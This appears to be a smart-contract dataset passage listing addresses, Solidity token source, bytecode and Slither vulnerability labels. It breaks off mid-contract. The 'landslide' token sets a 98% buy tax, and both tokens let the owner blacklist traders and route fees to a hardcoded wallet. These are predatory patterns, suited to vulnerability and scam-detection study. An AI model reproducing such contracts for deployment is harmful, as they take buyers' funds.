019093526040902091909155611233565b50600061123356fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732066726f6d2074686973207661756c742141646d696e2063616e6e6f74207472616e73666572206f7574204c5020746f6b656e732066726f6d2074686973207661756c7421a2646970667358221220fa0e01f06b82f6bf52d2b3c58d243de8467a527119a81be310175da3132829cd64736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,146 |
0xa2f2478f8caf46426104aa7e16fd12c063c8a77a | /**
Stealth Launch
Telegram: https://t.me/MonkeyInuOfficial
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MonkeyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 999999999 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Monkey Inu";
string private constant _symbol = "MONKEY";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x17aE41BDA7c6eA89449790C5a6D6D06E8c3626e9);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 11;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(2).div(100);
_maxWalletSize = _tTotal.mul(3).div(100);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461033d578063b87f137a1461035d578063c3c8cd801461037d578063c9567bf914610392578063dd62ed3e146103a757600080fd5b806370a082311461029c578063715018a6146102bc578063751039fc146102d15780638da5cb5b146102e657806395d89b411461030e57600080fd5b8063273123b7116100e7578063273123b71461020b578063313ce5671461022b5780635932ead114610247578063677daa57146102675780636fc3eaec1461028757600080fd5b806306fdde031461012f578063095ea7b31461017457806318160ddd146101a45780631b3f71ae146101c957806323b872dd146101eb57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a8152694d6f6e6b657920496e7560b01b60208201525b60405161016b919061173d565b60405180910390f35b34801561018057600080fd5b5061019461018f3660046117b7565b6103ed565b604051901515815260200161016b565b3480156101b057600080fd5b50670de0b6b36bc936005b60405190815260200161016b565b3480156101d557600080fd5b506101e96101e43660046117f9565b610404565b005b3480156101f757600080fd5b506101946102063660046118be565b6104a3565b34801561021757600080fd5b506101e96102263660046118ff565b61050c565b34801561023757600080fd5b506040516009815260200161016b565b34801561025357600080fd5b506101e961026236600461192a565b610557565b34801561027357600080fd5b506101e9610282366004611947565b61059f565b34801561029357600080fd5b506101e96105f9565b3480156102a857600080fd5b506101bb6102b73660046118ff565b610626565b3480156102c857600080fd5b506101e9610648565b3480156102dd57600080fd5b506101e96106bc565b3480156102f257600080fd5b506000546040516001600160a01b03909116815260200161016b565b34801561031a57600080fd5b506040805180820190915260068152654d4f4e4b455960d01b602082015261015e565b34801561034957600080fd5b506101946103583660046117b7565b6106f9565b34801561036957600080fd5b506101e9610378366004611947565b610706565b34801561038957600080fd5b506101e961075a565b34801561039e57600080fd5b506101e9610790565b3480156103b357600080fd5b506101bb6103c2366004611960565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103fa338484610b40565b5060015b92915050565b6000546001600160a01b031633146104375760405162461bcd60e51b815260040161042e90611999565b60405180910390fd5b60005b815181101561049f5760016006600084848151811061045b5761045b6119ce565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610497816119fa565b91505061043a565b5050565b60006104b0848484610c64565b61050284336104fd85604051806060016040528060288152602001611b5f602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061106c565b610b40565b5060019392505050565b6000546001600160a01b031633146105365760405162461bcd60e51b815260040161042e90611999565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105815760405162461bcd60e51b815260040161042e90611999565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105c95760405162461bcd60e51b815260040161042e90611999565b600081116105d657600080fd5b6105f360646105ed670de0b6b36bc93600846110a6565b9061112c565b600f5550565b600c546001600160a01b0316336001600160a01b03161461061957600080fd5b476106238161116e565b50565b6001600160a01b0381166000908152600260205260408120546103fe906111a8565b6000546001600160a01b031633146106725760405162461bcd60e51b815260040161042e90611999565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106e65760405162461bcd60e51b815260040161042e90611999565b670de0b6b36bc93600600f819055601055565b60006103fa338484610c64565b6000546001600160a01b031633146107305760405162461bcd60e51b815260040161042e90611999565b6000811161073d57600080fd5b61075460646105ed670de0b6b36bc93600846110a6565b60105550565b600c546001600160a01b0316336001600160a01b03161461077a57600080fd5b600061078530610626565b905061062381611225565b6000546001600160a01b031633146107ba5760405162461bcd60e51b815260040161042e90611999565b600e54600160a01b900460ff16156108145760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042e565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108503082670de0b6b36bc93600610b40565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561088e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b29190611a15565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109239190611a15565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109949190611a15565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71947306109c481610626565b6000806109d96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a669190611a32565b5050600e805461ffff60b01b191661010160b01b17905550610a9660646105ed670de0b6b36bc9360060026110a6565b600f55610ab160646105ed670de0b6b36bc9360060036110a6565b601055600e8054600160a01b60ff60a01b19821617909155600d5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af1158015610b1c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049f9190611a60565b6001600160a01b038316610ba25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042e565b6001600160a01b038216610c035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042e565b6001600160a01b038216610d2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042e565b60008111610d8c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042e565b6000600a55600b8055610da76000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610dd657506000546001600160a01b03838116911614155b1561105c576001600160a01b03831660009081526006602052604090205460ff16158015610e1d57506001600160a01b03821660009081526006602052604090205460ff16155b610e2657600080fd5b600e546001600160a01b038481169116148015610e515750600d546001600160a01b03838116911614155b8015610e7657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e8b5750600e54600160b81b900460ff165b15610f9057600f54811115610ee25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161042e565b60105481610eef84610626565b610ef99190611a7d565b1115610f475760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161042e565b6001600160a01b0382166000908152600760205260409020544211610f6b57600080fd5b610f7642601e611a7d565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610fbb5750600d546001600160a01b03848116911614155b8015610fe057506001600160a01b03831660009081526005602052604090205460ff16155b15610fef576000600a55600b80555b6000610ffa30610626565b600e54909150600160a81b900460ff161580156110255750600e546001600160a01b03858116911614155b801561103a5750600e54600160b01b900460ff165b1561105a5761104881611225565b478015611058576110584761116e565b505b505b61106783838361139f565b505050565b600081848411156110905760405162461bcd60e51b815260040161042e919061173d565b50600061109d8486611a95565b95945050505050565b6000826110b5575060006103fe565b60006110c18385611aac565b9050826110ce8583611acb565b146111255760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042e565b9392505050565b600061112583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113aa565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561049f573d6000803e3d6000fd5b600060085482111561120f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161042e565b60006112196113d8565b9050611125838261112c565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061126d5761126d6119ce565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ea9190611a15565b816001815181106112fd576112fd6119ce565b6001600160a01b039283166020918202929092010152600d546113239130911684610b40565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135c908590600090869030904290600401611aed565b600060405180830381600087803b15801561137657600080fd5b505af115801561138a573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b6110678383836113fb565b600081836113cb5760405162461bcd60e51b815260040161042e919061173d565b50600061109d8486611acb565b60008060006113e56114f2565b90925090506113f4828261112c565b9250505090565b60008060008060008061140d87611532565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061143f908761158f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146e90866115d1565b6001600160a01b03891660009081526002602052604090205561149081611630565b61149a848361167a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114df91815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b36bc9360061150d828261112c565b82101561152957505060085492670de0b6b36bc9360092509050565b90939092509050565b600080600080600080600080600061154f8a600a54600b5461169e565b925092509250600061155f6113d8565b905060008060006115728e8787876116ed565b919e509c509a509598509396509194505050505091939550919395565b600061112583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061106c565b6000806115de8385611a7d565b9050838110156111255760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042e565b600061163a6113d8565b9050600061164883836110a6565b3060009081526002602052604090205490915061166590826115d1565b30600090815260026020526040902055505050565b600854611687908361158f565b60085560095461169790826115d1565b6009555050565b60008080806116b260646105ed89896110a6565b905060006116c560646105ed8a896110a6565b905060006116dd826116d78b8661158f565b9061158f565b9992985090965090945050505050565b60008080806116fc88866110a6565b9050600061170a88876110a6565b9050600061171888886110a6565b9050600061172a826116d7868661158f565b939b939a50919850919650505050505050565b600060208083528351808285015260005b8181101561176a5785810183015185820160400152820161174e565b8181111561177c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461062357600080fd5b80356117b281611792565b919050565b600080604083850312156117ca57600080fd5b82356117d581611792565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561180c57600080fd5b823567ffffffffffffffff8082111561182457600080fd5b818501915085601f83011261183857600080fd5b81358181111561184a5761184a6117e3565b8060051b604051601f19603f8301168101818110858211171561186f5761186f6117e3565b60405291825284820192508381018501918883111561188d57600080fd5b938501935b828510156118b2576118a3856117a7565b84529385019392850192611892565b98975050505050505050565b6000806000606084860312156118d357600080fd5b83356118de81611792565b925060208401356118ee81611792565b929592945050506040919091013590565b60006020828403121561191157600080fd5b813561112581611792565b801515811461062357600080fd5b60006020828403121561193c57600080fd5b81356111258161191c565b60006020828403121561195957600080fd5b5035919050565b6000806040838503121561197357600080fd5b823561197e81611792565b9150602083013561198e81611792565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a0e57611a0e6119e4565b5060010190565b600060208284031215611a2757600080fd5b815161112581611792565b600080600060608486031215611a4757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a7257600080fd5b81516111258161191c565b60008219821115611a9057611a906119e4565b500190565b600082821015611aa757611aa76119e4565b500390565b6000816000190483118215151615611ac657611ac66119e4565b500290565b600082611ae857634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b3d5784516001600160a01b031683529383019391830191600101611b18565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122007c4363aebbba70b3839e262013b1f8d61ad1817059609dae917da3a579101ac64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,147 |
0xfca0ccd79e8d17fa1eb862be47f3f7a2293f763c | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract landslide is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "landslide";
string private constant _symbol = "LALD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 98;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x2172197C2dD2D2AFeE69bcE16bc5227ee5Eb2b07);
address payable private _marketingAddress = payable(0x2172197C2dD2D2AFeE69bcE16bc5227ee5Eb2b07);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
